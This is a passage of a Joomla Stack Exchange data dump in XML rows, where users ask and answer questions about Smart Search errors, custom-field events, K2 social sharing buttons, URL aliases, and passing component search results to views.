ideas how I can further debug this?&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2018-11-09T22:03:25.687" Title="Smart Search returns 500 internal error" Tags="|joomla-3.x|smartsearch|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21512" PostTypeId="2" ParentId="21511" CreationDate="2017-09-11T08:20:01.287" Score="1" Body="&lt;p&gt;Enable error reporting on the site (change it from &quot;None&quot; to &quot;Maximum&quot; in the Joomla configuration settings), and then check the page, you should see the actual error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically, these fatal errors are caused by a non core plugin as the core smart search doesn't return any errors.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-09-11T08:20:01.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21513" PostTypeId="2" ParentId="21222" CreationDate="2017-09-11T09:11:36.690" Score="1" Body="&lt;p&gt;A list of all the events specific to the fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;onCustomFieldsBeforePrepareField&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;onCustomFieldsPrepareField&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;onCustomFieldsAfterPrepareField&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;onCustomFieldsPrepareDom&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;onCustomFieldsGetTypes&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since the fields component does not have its own specific &quot;Before Save&quot; and &quot;After Save&quot; events, then the &lt;code&gt;onContentBeforeSave&lt;/code&gt; and the &lt;code&gt;onContentAfterSave&lt;/code&gt; events will be triggered before and after saving the field (please check the &lt;code&gt;save&lt;/code&gt; function in the &lt;code&gt;libraries/legacy/model/admin.php&lt;/code&gt; file as well as the constructor in that same file).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-09-11T09:11:36.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21514" PostTypeId="2" ParentId="21093" CreationDate="2017-09-11T09:44:09.927" Score="1" Body="&lt;p&gt;It seems that someone from the core team read your post, and, as such, added a condition to check if the user plugin is enabled, and if it is, then they get the plugin parameters. In essence, the developer changed this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$plugin = JPluginHelper::getPlugin('user', 'joomla');&#xA;$pluginParams = new Registry($plugin-&amp;gt;params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pluginParams = new Registry;&#xA;&#xA;if (JPluginHelper::isEnabled('user', 'joomla'))&#xA;{&#xA;    $plugin = JPluginHelper::getPlugin('user', 'joomla');&#xA;    $pluginParams-&amp;gt;loadString($plugin-&amp;gt;params);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means that if you update your Joomla version to the latest version, you won't have this problem anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The credit goes to whoever developer read your post and fixed the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, to answer your original question, at the moment, you can't untrigger or stop an event from being triggered unless you do some core modifications. And, even if that was possible, it wouldn't solve your problem, because the problem that you were having was caused by a Joomla bug, which assumed that the core user plugin was always enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Joomla 4.0 will contain a &lt;code&gt;stopPropagation()&lt;/code&gt; method which will stop the propagation of an event. Not exactly what you need, but a good feature nonetheless.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-09-11T09:44:09.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21516" PostTypeId="1" CreationDate="2017-09-11T10:22:26.997" Score="2" ViewCount="179" Body="&lt;p&gt;I setup the native joomla module to display related items in articles, but by default only the title of the article displays.&#xA;I want the article image and if possible the article rating to be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the code below which works for displaying article image in other modules but to no success.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img class=&quot;img-responsive&quot; src=&quot;&amp;lt;?php echo json_decode($item-&amp;gt;images)-&amp;gt;image_intro; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I will appreciate your kind assistance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7399" LastEditorUserId="7399" LastEditDate="2017-09-11T14:55:43.443" LastActivityDate="2017-09-12T05:33:36.753" Title="Display images for joomla related items module" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21517" PostTypeId="2" ParentId="21222" CreationDate="2017-09-11T10:33:58.107" Score="2" Body="&lt;p&gt;You can use the &lt;code&gt;onContentBeforeSave&lt;/code&gt; and the &lt;code&gt;onContentAfterSave&lt;/code&gt; event and filter your functions with the proper &lt;code&gt;$context&lt;/code&gt; for the &lt;code&gt;com_fields&lt;/code&gt;, so it will run only when you are in &lt;code&gt;com_fields&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-09-11T10:33:58.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21519" PostTypeId="1" AcceptedAnswerId="21531" CreationDate="2017-09-11T12:14:19.827" Score="0" ViewCount="663" Body="&lt;p&gt;Is there a way of knowing the media query width settings for SP page builder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rows and modules can be Hidden on Mobile/Tablet/Desktop using the Responsive tab in options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering what widths the media queries are using. Does anyone know the exatd widths?&lt;/p&gt;&#xA;" OwnerUserId="11268" LastActivityDate="2017-09-12T18:08:17.550" Title="SP page builder width cutoff for Mobilde/tablet/desktop" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21520" PostTypeId="1" CreationDate="2017-09-11T12:57:14.277" Score="0" ViewCount="41" Body="&lt;p&gt;when i choose Persian words for the name of the articles's categories, the order of the categories in the URL gets messed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example: instead of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`www.mysite.com/cat1/subcat2/subcat3/the-article`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it gets like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.mysite.com/the-article/subcat3/cat1/subcat2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;not exactly like this, but it gets messed up. &#xA;when i enter the alias in English, the order is ok&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Persian language is a right to left language like Arabic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help would be appreciated&#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="8738" LastActivityDate="2017-09-11T12:57:14.277" Title="problem in persian alias" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21521" PostTypeId="1" CreationDate="2017-09-11T13:33:04.710" Score="0" ViewCount="197" Body="&lt;p&gt;look at the URLs below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. /essays/technical-essays/180-technologies/247-megapixel&#xA;2. /essays/technical-essays/247-megapixel&#xA;3. /essays/technical-essays/technologies/247-megapixel&#xA;4. /essays/technical-essays/technologies/247-&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the right URL is the third one. but the product page shows up with other three URLs. notice that the other three are incorrect and incomplete and an 404 error should be thrown. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;don't get this in a wrong way. it's not about canonical more than one direction to a page. it's about inputting wrong (incomplete) URL of an article and having the article page open. weird!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what is this? why this happens?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;google console finds these as different pages and refers to them as &quot;Duplicate title tags&quot;&lt;/p&gt;&#xA;" OwnerUserId="8738" LastEditorUserId="8738" LastEditDate="2018-01-01T14:34:51.037" LastActivityDate="2018-01-01T14:34:51.037" Title="duplicate content for an article URLs" Tags="|joomla-3.x|articles|seo|content|" AnswerCount="1" CommentCount="1" ClosedDate="2017-09-12T09:42:21.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="21522" PostTypeId="1" AcceptedAnswerId="21523" CreationDate="2017-09-11T15:43:41.287" Score="0" ViewCount="1297" Body="&lt;p&gt;The native K2 CKK social sharing feature don't pop by default so i spent some time and came up with this social sharing codes i want to share with the community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See my answer below and hope it helps someone.&lt;/p&gt;&#xA;" OwnerUserId="7399" LastActivityDate="2019-10-31T23:29:02.770" Title="How to display social sharing buttons in k2 category items, tag list, and item's page?" Tags="|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21523" PostTypeId="2" ParentId="21522" CreationDate="2017-09-11T15:56:22.340" Score="1" Body="&lt;p&gt;Add social media sharing to K2 component using &lt;a href=&quot;https://www.addthis.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.addthis.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After registering and getting your addthis buttons codes, goto K2 parameters, in the social tab, place your code inside the 'Social button' code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;//s7.addthis.com/js/300/addthis_widget.js#pubid=ra-5886a1000&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;div class=&quot;addthis_inline_share_toolbox_umh7&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You have to create a com_k2 override in your template in the html folder and paste the codes in the respective output templates (category items, tag list, and item view) where you want your buttons to appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For category items use this code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php $link = K2HelperRoute::getItemRoute($this-&amp;gt;item-&amp;gt;id.':'.urlencode($item-&amp;gt;alias), $this-&amp;gt;item-&amp;gt;catid.':'.urlencode($this-&amp;gt;item-&amp;gt;category-&amp;gt;alias)); ?&amp;gt;&#xA;&#xA;&#xA; &amp;lt;?php if($this-&amp;gt;item-&amp;gt;params-&amp;gt;get('itemSocialButton') &amp;amp;&amp;amp; !is_null($this-&amp;gt;item-&amp;gt;params-&amp;gt;get('socialButtonCode', NULL))): ?&amp;gt;&#xA;        &amp;lt;!-- Item Social Button --&amp;gt;&#xA;&#xA;                &amp;lt;a href=&quot;javascript:void(0)&quot; class=&quot;icons-social social-fb&quot; onclick=&quot;javascript:genericSocialShare('http://www.facebook.com/sharer.php?u=&amp;lt;?php echo (JRoute::_($link,true, -1)) ;?&amp;gt;&amp;amp;amp;url=&amp;lt;?php echo (JRoute::_($link,true, -1)) ;?&amp;gt;')&quot; title=&quot;Facebook Share&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-facebook&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;                &amp;lt;a href=&quot;javascript:void(0)&quot; class=&quot;icons-social social-gp&quot; onclick=&quot;javascript:genericSocialShare('https://plus.google.com/share?url=&amp;lt;?php echo (JRoute::_($link,true, -1)) ;?&amp;gt;')&quot; title=&quot;Google Plus Share&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-google-plus&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;                &amp;lt;a href=&quot;javascript:void(0)&quot; class=&quot;icons-social social-tw&quot; onclick=&quot;javascript:genericSocialShare('http://twitter.com/share?text=&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;title?&amp;gt;&amp;amp;amp;url=&amp;lt;?php echo (JRoute::_($link,true, -1)) ;?&amp;gt;')&quot; title=&quot;Twitter Share&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-twitter&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;                &amp;lt;a href=&quot;javascript:void(0)&quot; class=&quot;icons-social social-pt&quot; onclick=&quot;javascript:genericSocialShare('http://pinterest.com/pin/create/button/?url=&amp;lt;?php echo (JRoute::_($link,true, -1)) ;?&amp;gt;')&quot; title=&quot;Pinterest Share&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-pinterest-p&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;            &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;            function genericSocialShare(url){&#xA;                window.open(url,'sharer','toolbar=0,status=0,width=648,height=395');&#xA;                return true;&#xA;            }&#xA;            &amp;lt;/script&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For tag items view use this code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $link = urldecode(K2HelperRoute::getItemRoute($item-&amp;gt;id.':'.$item-&amp;gt;alias, $item-&amp;gt;catid.':'.urlencode($item-&amp;gt;category-&amp;gt;alias))); ?&amp;gt;&#xA;&#xA;         &amp;lt;?php if($item-&amp;gt;params-&amp;gt;get('itemSocialButton') &amp;amp;&amp;amp; !is_null($item-&amp;gt;params-&amp;gt;get('socialButtonCode', NULL))): ?&amp;gt;&#xA;                &amp;lt;!-- Item Social Button --&amp;gt;&#xA;&#xA;                        &amp;lt;a href=&quot;javascript:void(0)&quot; class=&quot;icons-social social-fb&quot; onclick=&quot;javascript:genericSocialShare('http://www.facebook.com/sharer.php?u=&amp;lt;?php echo (JRoute::_($link,true, -1)) ;?&amp;gt;&amp;amp;amp;url=&amp;lt;?php echo (JRoute::_($link,true, -1)) ;?&amp;gt;')&quot; title=&quot;Facebook Share&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-facebook&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;                        &amp;lt;a href=&quot;javascript:void(0)&quot; class=&quot;icons-social social-gp&quot; onclick=&quot;javascript:genericSocialShare('https://plus.google.com/share?url=&amp;lt;?php echo (JRoute::_($link,true, -1)) ;?&amp;gt;')&quot; title=&quot;Google Plus Share&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-google-plus&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;                        &amp;lt;a href=&quot;javascript:void(0)&quot; class=&quot;icons-social social-tw&quot; onclick=&quot;javascript:genericSocialShare('http://twitter.com/share?text=&amp;lt;?php echo $item-&amp;gt;title?&amp;gt;&amp;amp;amp;url=&amp;lt;?php echo (JRoute::_($link,true, -1)) ;?&amp;gt;')&quot; title=&quot;Twitter Share&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-twitter&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;                        &amp;lt;a href=&quot;javascript:void(0)&quot; class=&quot;icons-social social-pt&quot; onclick=&quot;javascript:genericSocialShare('http://pinterest.com/pin/create/button/?url=&amp;lt;?php echo (JRoute::_($link,true, -1)) ;?&amp;gt;')&quot; title=&quot;Pinterest Share&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-pinterest-p&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;                    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;                    function genericSocialShare(url){&#xA;                        window.open(url,'sharer','toolbar=0,status=0,width=648,height=395');&#xA;                        return true;&#xA;                    }&#xA;                    &amp;lt;/script&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For item view use this code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if($this-&amp;gt;item-&amp;gt;params-&amp;gt;get('itemSocialButton') &amp;amp;&amp;amp; !is_null($this-&amp;gt;item-&amp;gt;params-&amp;gt;get('socialButtonCode', NULL))): ?&amp;gt;&#xA;                &amp;lt;!-- Item Social Button --&amp;gt;&#xA;                &amp;lt;div class=&quot;itemSocialBlock&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;post_social&quot;&amp;gt;&#xA;                        &amp;lt;a href=&quot;javascript:void(0)&quot; class=&quot;icons-social social-fb&quot; onclick=&quot;javascript:genericSocialShare('http://www.facebook.com/sharer.php?u=&amp;lt;?php echo JURI::current();?&amp;gt;&amp;amp;amp;url=&amp;lt;?php echo JURI::current();?&amp;gt;')&quot; title=&quot;Facebook Share&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-facebook&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;                        &amp;lt;a href=&quot;javascript:void(0)&quot; class=&quot;icons-social social-gp&quot; onclick=&quot;javascript:genericSocialShare('https://plus.google.com/share?url=&amp;lt;?php echo JURI::current();?&amp;gt;')&quot; title=&quot;Google Plus Share&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-google-plus&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;                        &amp;lt;a href=&quot;javascript:void(0)&quot; class=&quot;icons-social social-tw&quot; onclick=&quot;javascript:genericSocialShare('http://twitter.com/share?text=&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;title?&amp;gt;&amp;amp;amp;url=&amp;lt;?php echo JURI::current();?&amp;gt;')&quot; title=&quot;Twitter Share&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-twitter&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;                        &amp;lt;a href=&quot;javascript:void(0)&quot; class=&quot;icons-social social-lk&quot; onclick=&quot;javascript:genericSocialShare('http://www.linkedin.com/shareArticle?mini=true&amp;amp;amp;url=&amp;lt;?php echo JURI::current();?&amp;gt;')&quot; title=&quot;LinkedIn Share&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-linkedin&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;                        &amp;lt;a href=&quot;javascript:void(0)&quot; class=&quot;icons-social social-pt&quot; onclick=&quot;javascript:genericSocialShare('http://pinterest.com/pin/create/button/?url=&amp;lt;?php echo JURI::current();?&amp;gt;')&quot; title=&quot;Pinterest Share&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-pinterest-p&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;                    function genericSocialShare(url){&#xA;                        window.open(url,'sharer','toolbar=0,status=0,width=648,height=395');&#xA;                        return true;&#xA;                    }&#xA;                    &amp;lt;/script&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The item view contains the code for LinkedIn button, you can copy to other views as needed and edit the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now style the buttons with css as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For those using &quot;https&quot; change&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo (JRoute::_($link,true, -1)) ;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo (JRoute::_($link,true, 1)) ;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the category list and tag list codes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!!!&lt;/p&gt;&#xA;" OwnerUserId="7399" LastEditorUserId="7399" LastEditDate="2017-09-11T18:10:47.023" LastActivityDate="2017-09-11T18:10:47.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21524" PostTypeId="1" CreationDate="2017-09-11T19:08:15.693" Score="3" ViewCount="3088" Body="&lt;p&gt;I'm experimenting with creating my own Joomla component. The component searches records in database tables, but I have a problem with how to show them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a search form that sends the search phrase to the &lt;code&gt;controller.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php'); ?&amp;gt;&quot; method=&quot;post&quot; class=&quot;form-inline&quot;&amp;gt;&#xA;    &amp;lt;input name=&quot;company&quot; id=&quot;form_hladat&quot; maxlength=&quot;150&quot; class=&quot;inputbox search-query input-medium&quot; type=&quot;search&quot; placeholder=&quot;hladat&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;search&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;option&quot; value=&quot;com_regne&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;controller.php&lt;/code&gt; I have a search function. The function performs a search and redirects me to view &lt;code&gt;basic&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function search() {&#xA;    // Slashes cause errors, &amp;lt;&amp;gt; get stripped anyway later on. # causes problems.&#xA;    $badchars = array('#', '&amp;gt;', '&amp;lt;', '\\');&#xA;    $searchword = trim(str_replace($badchars, '', $this-&amp;gt;input-&amp;gt;getString('company', null, 'post')));&#xA;&#xA;    $db = JFactory::getDbo();       &#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select($db-&amp;gt;quoteName(array('cin','tin','vatin','name','formatted_address','street','reg_number','building_number','postal_code','municipality','country','established_on','terminated_on','vatin_paragraph','registration_office','registration_number','formatted_street','street_number','rpo_organizations_id')))&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('corporate_bodies'))&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('cin') . ' LIKE '. $db-&amp;gt;quote($searchword) . ' OR ' . $db-&amp;gt;quoteName('name') . ' LIKE ' . $db-&amp;gt;quote('%'.$searchword.'%'));&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $rows = $db-&amp;gt;loadObjectList();&#xA;    $results = $rows;&#xA;    foreach ($results as $result):&#xA;        $name = $result-&amp;gt;name;&#xA;        $cin = $result-&amp;gt;cin;&#xA;        $rpo_id = $result-&amp;gt;rpo_organizations_id;&#xA;        $company_demise = $result-&amp;gt;terminated_on;&#xA;    endforeach;&#xA;&#xA;    $view = $this-&amp;gt;getView('basic','html');&#xA;    $view-&amp;gt;results = $results;&#xA;    $view-&amp;gt;display();&#xA;    //$this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_regne&amp;amp;view=basic', false));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that's where my problem starts. I do not know how to get search results (array).&lt;/p&gt;&#xA;" OwnerUserId="11538" LastEditorUserId="11451" LastEditDate="2017-09-12T05:50:10.057" LastActivityDate="2019-08-27T12:22:13.400" Title="Pass results (array) from controller into view and show it" Tags="|php|controller|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21525" PostTypeId="1" CreationDate="2017-09-11T20:25:33.803" Score="1" ViewCount="952" Body="&lt;p&gt;I'm trying to implement a custom button using JToolBarHelper::custom, my code is as follows: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JToolBarHelper::custom('message.resend', 'email.png', 'Resend Email', 'Resend Email', false);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The button displays fine, only issue is I can't get the icon to display with it. I've tried going off of this documentation: &lt;a href=&quot;https://docs.joomla.org/J1.5:How_to_create_a_custom_button&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J1.5:How_to_create_a_custom_button&lt;/a&gt;&#xA;but it is outdated and isn't working for me. Anyone know the proper way to load in a custom icon? &lt;/p&gt;&#xA;" OwnerUserId="11535" LastActivityDate="2018-09-09T01:00:40.803" Title="JToolBarHelper custom icon not displaying" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21526" PostTypeId="2" ParentId="21525" CreationDate="2017-09-11T20:49:46.293" Score="1" Body="&lt;p&gt;The second parameter of JToolBarHelper::custom() is a CSS class name that corresponds to the icon you wish to display, not a file name. Joomla! comes with a bunch of built-in icons for you to choose from. You can find a list here: &lt;a href=&quot;https://docs.joomla.org/J3.x:Joomla_Standard_Icomoon_Fonts&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Joomla_Standard_Icomoon_Fonts&lt;/a&gt; Simply pick one of these and use it's name instead of the file name you are trying to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would like to use your own icon, that is possible also, you will need to put in a class name of your choice that has not already been defined (e.g. mycomp-email-icon) and then load some CSS into your component that defines that class and loads your icon.&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="32" LastEditDate="2017-09-13T19:21:31.533" LastActivityDate="2017-09-13T19:21:31.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21527" PostTypeId="2" ParentId="21516" CreationDate="2017-09-12T05:33:36.753" Score="1" Body="&lt;p&gt;Can you have a Look at &lt;a href=&quot;https://joomla.stackexchange.com/questions/10880/how-to-add-article-image-to-module-mod-article-categories&quot;&gt;How to add article image to module mod_article_categories?&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe this helps also on Module_related. &lt;/p&gt;&#xA;" OwnerUserId="5630" LastActivityDate="2017-09-12T05:33:36.753" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21528" PostTypeId="1" CreationDate="2017-09-12T08:28:35.980" Score="1" ViewCount="232" Body="&lt;p&gt;I am creating these dropdown lists in XML for plugin:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;category multi-select dropdown,&lt;/li&gt;&#xA;&lt;li&gt;subcategory multi-select dropdown&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(All data comes from database table)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want when I select the first category dropdown, then the second dropdown list should come under the selected category on first dropdown. Example:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;category- list&quot;&#xA;       type=&quot;sql&quot;&#xA;       default=&quot;&quot;&#xA;       label=&quot;Category&quot;&#xA;       sql_select=&quot;e.*&quot;&#xA;       sql_from=&quot;#__category AS e&quot;&#xA;       sql_group=&quot;category&quot;&#xA;       sql_order=&quot;e.cat_id ASC&quot;&#xA;       key_field=&quot;cat_id&quot;&#xA;       value_field=&quot;category&quot;&#xA;       multiple=&quot;true&quot;/&amp;gt;&#xA;&#xA;&amp;lt;field name=&quot;subcategory - list depend on category list&quot;&#xA;       default=&quot;&quot;&#xA;       type=&quot;sql&quot;&#xA;       label=&quot;SubCategory&quot;&#xA;       sql_select=&quot;e.*&quot;&#xA;       sql_from=&quot;#__subcategory AS e&quot;&#xA;       sql_group=&quot;subcategory&quot;&#xA;       sql_order=&quot;e.subcat_id ASC&quot;&#xA;       sql_filter=&quot;cat_id&quot;&#xA;       key_field=&quot;subcat_id&quot;&#xA;       value_field=&quot;subcategory&quot;&#xA;       multiple=&quot;true&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help me out how to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given below is table structure.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE category (&#xA;    cat_id int(2) NOT NULL auto_increment,&#xA;    category varchar(25) NOT NULL default '',&#xA;    PRIMARY KEY (cat_id)&#xA;) &#xA;&#xA;CREATE TABLE subcategory (&#xA;    subcat_id int(3) NOT NULL AUTO_INCREMENT,&#xA;    cat_id 